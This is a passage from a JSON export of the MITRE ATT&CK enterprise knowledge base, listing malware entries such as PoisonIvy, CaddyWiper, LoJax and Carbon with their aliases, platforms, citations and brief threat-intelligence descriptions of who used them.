leaked version, including a peer-to-peer architecture. (Citation: Dell P2P ZeuS)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Kivars"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b2d134a1-7bd5-4293-94d4-8fc978cb1cd7","type":"malware","created":"2020-05-06T18:10:59.143Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0437","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0437"},{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2020-06-03T20:19:34.935Z","name":"Kivars","description":"[Kivars](https://attack.mitre.org/software/S0437) is a modular remote access tool (RAT), derived from the Bifrost RAT, that was used by [BlackTech](https://attack.mitre.org/groups/G0098) in a 2010 campaign.(Citation: TrendMicro BlackTech June 2017)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["CaddyWiper"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--b30d999d-64e0-4e35-9856-884e4b83d611","created":"2022-03-23T20:15:38.177Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0693","url":"https://attack.mitre.org/software/S0693"},{"source_name":"ESET CaddyWiper March 2022","url":"https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine","description":"ESET. (2022, March 15). CaddyWiper: New wiper malware discovered in Ukraine. Retrieved March 23, 2022."},{"source_name":"Cisco CaddyWiper March 2022","url":"https://blog.talosintelligence.com/2022/03/threat-advisory-caddywiper.html","description":"Malhotra, A. (2022, March 15). Threat Advisory: CaddyWiper. Retrieved March 23, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CaddyWiper](https://attack.mitre.org/software/S0693) is a destructive data wiper that has been used in attacks against organizations in Ukraine since at least March 2022.(Citation: ESET CaddyWiper March 2022)(Citation: Cisco CaddyWiper March 2022)","modified":"2022-04-11T20:38:33.997Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"CaddyWiper","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Cyclops Blink"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","created":"2022-03-03T15:37:41.440Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0687","url":"https://attack.mitre.org/software/S0687"},{"source_name":"Trend Micro Cyclops Blink March 2022","url":"https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html","description":"Haquebord, F. et al. (2022, March 17). Cyclops Blink Sets Sights on Asus Routers. Retrieved March 17, 2022."},{"source_name":"NCSC CISA Cyclops Blink Advisory February 2022","url":"https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter","description":"NCSC, CISA, FBI, NSA. (2022, February 23). New Sandworm malware Cyclops Blink replaces VPNFilter. Retrieved March 3, 2022."},{"source_name":"NCSC Cyclops Blink February 2022","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) is a modular malware that has been used in widespread campaigns by [Sandworm Team](https://attack.mitre.org/groups/G0034) since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus.(Citation: NCSC Cyclops Blink February 2022)(Citation: NCSC CISA Cyclops Blink Advisory February 2022)(Citation: Trend Micro Cyclops Blink March 2022)","modified":"2022-04-14T17:00:26.886Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Cyclops Blink","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Darren Spruell"],"x_mitre_aliases":["PoisonIvy","Breut","Poison Ivy","Darkmoon"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--b42378e0-f147-496f-992a-26a49705395b","created":"2017-05-31T21:32:15.263Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"S0012","url":"https://attack.mitre.org/software/S0012"},{"source_name":"Poison Ivy","description":"(Citation: FireEye Poison Ivy) (Citation: Symantec Darkmoon Sept 2014)"},{"source_name":"PoisonIvy","description":"(Citation: FireEye Poison Ivy)(Citation: Symantec Darkmoon Sept 2014)"},{"source_name":"Breut","description":"(Citation: Novetta-Axiom)"},{"source_name":"Darkmoon","description":"(Citation: Symantec Darkmoon Sept 2014)"},{"source_name":"FireEye Poison Ivy","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf","description":"FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014."},{"source_name":"Symantec Darkmoon Aug 2005","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99","description":"Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018."},{"source_name":"Novetta-Axiom","url":"http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014."},{"source_name":"Symantec Elderwood Sept 2012","url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018."},{"source_name":"Symantec Darkmoon Sept 2014","url":"https://www.symantec.com/connect/blogs/life-mars-how-attackers-took-advantage-hope-alien-existance-new-darkmoon-campaign","description":"Payet, L. (2014, September 19). Life on Mars: How attackers took advantage of hope for alien existance in new Darkmoon campaign. Retrieved September 13, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PoisonIvy](https://attack.mitre.org/software/S0012) is a popular remote access tool (RAT) that has been used by many groups.(Citation: FireEye Poison Ivy)(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Darkmoon Aug 2005)","modified":"2022-04-15T15:23:57.525Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"PoisonIvy","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Seasalt"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b45747dc-87ca-4597-a245-7e16a61bc491","type":"malware","created":"2019-01-30T15:27:06.404Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0345","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0345"},{"source_name":"Seasalt","description":"(Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)"},{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip"},{"source_name":"McAfee Oceansalt Oct 2018","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf","description":"Sherstobitoff, R., Malhotra, A. (2018, October 18). ‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."}],"modified":"2020-03-19T19:18:10.963Z","name":"Seasalt","description":"[Seasalt](https://attack.mitre.org/software/S0345) is malware that has been linked to [APT1](https://attack.mitre.org/groups/G0006)'s 2010 operations. It shares some code similarities with [OceanSalt](https://attack.mitre.org/software/S0346).(Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["NativeZone"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b4783be3-35d9-4a56-ac8d-1f3e1c9d9a84","type":"malware","created":"2021-08-04T19:36:55.518Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0637","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0637"},{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."},{"source_name":"SentinelOne NobleBaron June 2021","url":"https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/","description":"Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021."}],"modified":"2021-10-16T02:03:14.543Z","name":"NativeZone","description":"[NativeZone](https://attack.mitre.org/software/S0637) is the name given collectively to disposable custom [Cobalt Strike](https://attack.mitre.org/software/S0154) loaders used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)(Citation: SentinelOne NobleBaron June 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["NanoCore"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b4d80f8b-d2b9-4448-8844-4bef777ed676","type":"malware","created":"2019-01-29T20:05:35.952Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0336","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0336"},{"source_name":"NanoCore","description":"(Citation: DigiTrust NanoCore Jan 2017)(Citation: Cofense NanoCore Mar 2018)(Citation: PaloAlto NanoCore Feb 2016)(Citation: Unit 42 Gorgon Group Aug 2018)"},{"source_name":"DigiTrust NanoCore Jan 2017","url":"https://www.digitrustgroup.com/nanocore-not-your-average-rat/","description":"The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018."},{"source_name":"Cofense NanoCore Mar 2018","url":"https://cofense.com/nanocore-rat-resurfaced-sewers/","description":"Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved November 9, 2018."},{"source_name":"PaloAlto NanoCore Feb 2016","url":"https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/","description":"Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."},{"url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. 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It has been used by threat actors since 2013.(Citation: DigiTrust NanoCore Jan 2017)(Citation: Cofense NanoCore Mar 2018)(Citation: PaloAlto NanoCore Feb 2016)(Citation: Unit 42 Gorgon Group Aug 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["TajMahal"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","type":"malware","created":"2020-06-08T14:57:32.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0467","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0467"},{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-15T21:19:30.717Z","name":"TajMahal","description":"[TajMahal](https://attack.mitre.org/software/S0467) is a multifunctional spying framework that has been in use since at least 2014. [TajMahal](https://attack.mitre.org/software/S0467) is comprised of two separate packages, named Tokyo and Yokohama, and can deploy up to 80 plugins.(Citation: Kaspersky TajMahal April 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Tatsuya Daitoku, Cyber Defense Institute, Inc.","Hannah Simes, BT Security"],"x_mitre_aliases":["PLEAD"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--b57f419e-8b12-49d3-886b-145383725dcd","created":"2020-05-06T12:55:10.969Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"S0435","url":"https://attack.mitre.org/software/S0435"},{"source_name":"Trend Micro PLEAD RTLO","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/","description":"Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019."},{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."},{"source_name":"PLEAD","description":"PLEAD derived its name from letters used in backdoor commands in intrusion campaigns.(Citation: Trend Micro PLEAD RTLO)(Citation: TrendMicro BlackTech June 2017)"},{"source_name":"JPCert PLEAD Downloader June 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020."},{"source_name":"JPCert TSCookie March 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, March 6). Malware “TSCookie”. Retrieved May 6, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PLEAD](https://attack.mitre.org/software/S0435) is a remote access tool (RAT) and downloader used by [BlackTech](https://attack.mitre.org/groups/G0098) in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.(Citation: TrendMicro BlackTech June 2017)(Citation: JPCert PLEAD Downloader June 2018) [PLEAD](https://attack.mitre.org/software/S0435) has also been referred to as [TSCookie](https://attack.mitre.org/software/S0436), though more recent reporting indicates likely separation between the two. [PLEAD](https://attack.mitre.org/software/S0435) was observed in use as early as March 2017.(Citation: JPCert TSCookie March 2018)(Citation: JPCert PLEAD Downloader June 2018)","modified":"2022-04-15T11:32:25.173Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"PLEAD","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Daserf","Muirim","Nioupale"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0187","external_id":"S0187"},{"source_name":"Daserf","description":"(Citation: Trend Micro Daserf Nov 2017)"},{"source_name":"Muirim","description":"(Citation: Trend Micro Daserf Nov 2017)"},{"source_name":"Nioupale","description":"(Citation: Trend Micro Daserf Nov 2017)"},{"url":"http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/","description":"Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER’s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.","source_name":"Trend Micro Daserf Nov 2017"},{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2020-03-30T02:04:21.751Z","name":"Daserf","description":"[Daserf](https://attack.mitre.org/software/S0187) is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["GoldFinder"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b7010785-699f-412f-ba49-524da6033c76","type":"malware","created":"2021-03-26T16:48:31.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0597","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0597"},{"source_name":"GoldFinder","description":"(Citation: MSTIC NOBELIUM Mar 2021)"},{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-04-24T22:32:23.654Z","name":"GoldFinder","description":"[GoldFinder](https://attack.mitre.org/software/S0597) is a custom HTTP tracer tool written in Go that logs the route a packet takes between a compromised network and a C2 server. It can be used to inform  threat actors of potential points of discovery or logging of their actions, including C2 related to other malware. [GoldFinder](https://attack.mitre.org/software/S0597) was discovered in early 2021 during an investigation into the SolarWinds cyber intrusion by [APT29](https://attack.mitre.org/groups/G0016).(Citation: MSTIC NOBELIUM Mar 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Carbon"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f","type":"malware","created":"2019-01-29T19:36:02.103Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0335","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0335"},{"source_name":"Carbon","description":"(Citation: ESET Carbon Mar 2017)(Citation: Securelist Turla Oct 2018)"},{"description":"ESET. (2017, March 30). Carbon Paper: Peering into Turla’s second stage backdoor. Retrieved November 7, 2018.","url":"https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/","source_name":"ESET Carbon Mar 2017"},{"source_name":"Securelist Turla Oct 2018","url":"https://securelist.com/shedding-skin-turlas-fresh-faces/88069/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 04). Shedding Skin – Turla’s Fresh Faces. Retrieved November 7, 2018."}],"modified":"2021-04-25T15:46:06.354Z","name":"Carbon","description":"[Carbon](https://attack.mitre.org/software/S0335) is a sophisticated, second-stage backdoor and framework that can be used to steal sensitive information from victims. [Carbon](https://attack.mitre.org/software/S0335) has been selectively used by [Turla](https://attack.mitre.org/groups/G0010) to target government and foreign affairs-related organizations in Central Asia.(Citation: ESET Carbon Mar 2017)(Citation: Securelist Turla Oct 2018)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jean-Ian Boutin, ESET"],"x_mitre_aliases":["LoJax"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b865dded-0553-4962-a44b-6fe7863effed","type":"malware","created":"2019-07-02T12:58:09.598Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0397","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0397"},{"source_name":"LoJax","description":"(Citation: ESET LoJax Sept 2018)"},{"description":"ESET. (2018, September). LOJAX First UEFI rootkit found in the wild, courtesy of the Sednit group. Retrieved July 2, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf","source_name":"ESET LoJax Sept 2018"}],"modified":"2020-03-30T16:57:58.594Z","name":"LoJax","description":"[LoJax](https://attack.mitre.org/software/S0397) is a UEFI rootkit used by [APT28](https://attack.mitre.org/groups/G0007) to persist remote access software on targeted systems.(Citation: ESET LoJax Sept 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Cardinal RAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4","type":"malware","created":"2019-01-30T16:39:53.573Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0348","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0348"},{"source_name":"Cardinal RAT","description":"(Citation: PaloAlto CardinalRat Apr 2017)"},{"description":"Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/","source_name":"PaloAlto CardinalRat Apr 2017"}],"modified":"2020-03-30T01:59:34.624Z","name":"Cardinal RAT","description":"[Cardinal RAT](https://attack.mitre.org/software/S0348) is a potentially low volume remote access trojan (RAT) observed since December 2015. [Cardinal RAT](https://attack.mitre.org/software/S0348) is notable for its unique utilization of uncompiled C# source code and the Microsoft Windows built-in csc.exe compiler.(Citation: PaloAlto CardinalRat Apr 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["BISCUIT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b8eb28e4-48a6-40ae-951a-328714f75eda","type":"malware","created":"2017-05-31T21:32:17.147Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0017","external_id":"S0017"},{"source_name":"BISCUIT","description":"(Citation: Mandiant APT1)(Citation: Mandiant APT1 Appendix)"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"},{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip"}],"modified":"2020-03-30T14:57:52.169Z","name":"BISCUIT","description":"[BISCUIT](https://attack.mitre.org/software/S0017) is a backdoor that has been used by [APT1](https://attack.mitre.org/groups/G0006) since as early as 2007. (Citation: Mandiant APT1)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Cody Thomas, SpecterOps"],"x_mitre_aliases":["Calisto"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b8fdef82-d2cf-4948-8949-6466357b1be1","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0274","external_id":"S0274"},{"source_name":"Calisto","description":"(Citation: Securelist Calisto July 2018) (Citation: Symantec Calisto July 2018)"},{"url":"https://securelist.com/calisto-trojan-for-macos/86543/","description":"Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.","source_name":"Securelist Calisto July 2018"},{"url":"https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days","description":"Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.","source_name":"Symantec Calisto July 2018"}],"modified":"2020-03-30T01:58:55.849Z","name":"Calisto","description":"[Calisto](https://attack.mitre.org/software/S0274) is a macOS Trojan that opens a backdoor on the compromised machine. [Calisto](https://attack.mitre.org/software/S0274) is believed to have first been developed in 2016. (Citation: Securelist Calisto July 2018) (Citation: Symantec Calisto July 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Pisloader"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--b96680d1-5eb3-4f07-b95c-00ab904ac236","type":"malware","created":"2017-05-31T21:33:12.388Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0124","external_id":"S0124"},{"source_name":"Pisloader","description":"(Citation: Palo Alto DNS Requests)"},{"url":"http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/","description":"Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.","source_name":"Palo Alto DNS Requests"}],"modified":"2020-03-30T17:21:44.379Z","name":"Pisloader","description":"[Pisloader](https://attack.mitre.org/software/S0124) is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by [APT18](https://attack.mitre.org/groups/G0026) and is similar to another malware family, [HTTPBrowser](https://attack.mitre.org/software/S0070), that has been used by the group. (Citation: Palo Alto DNS 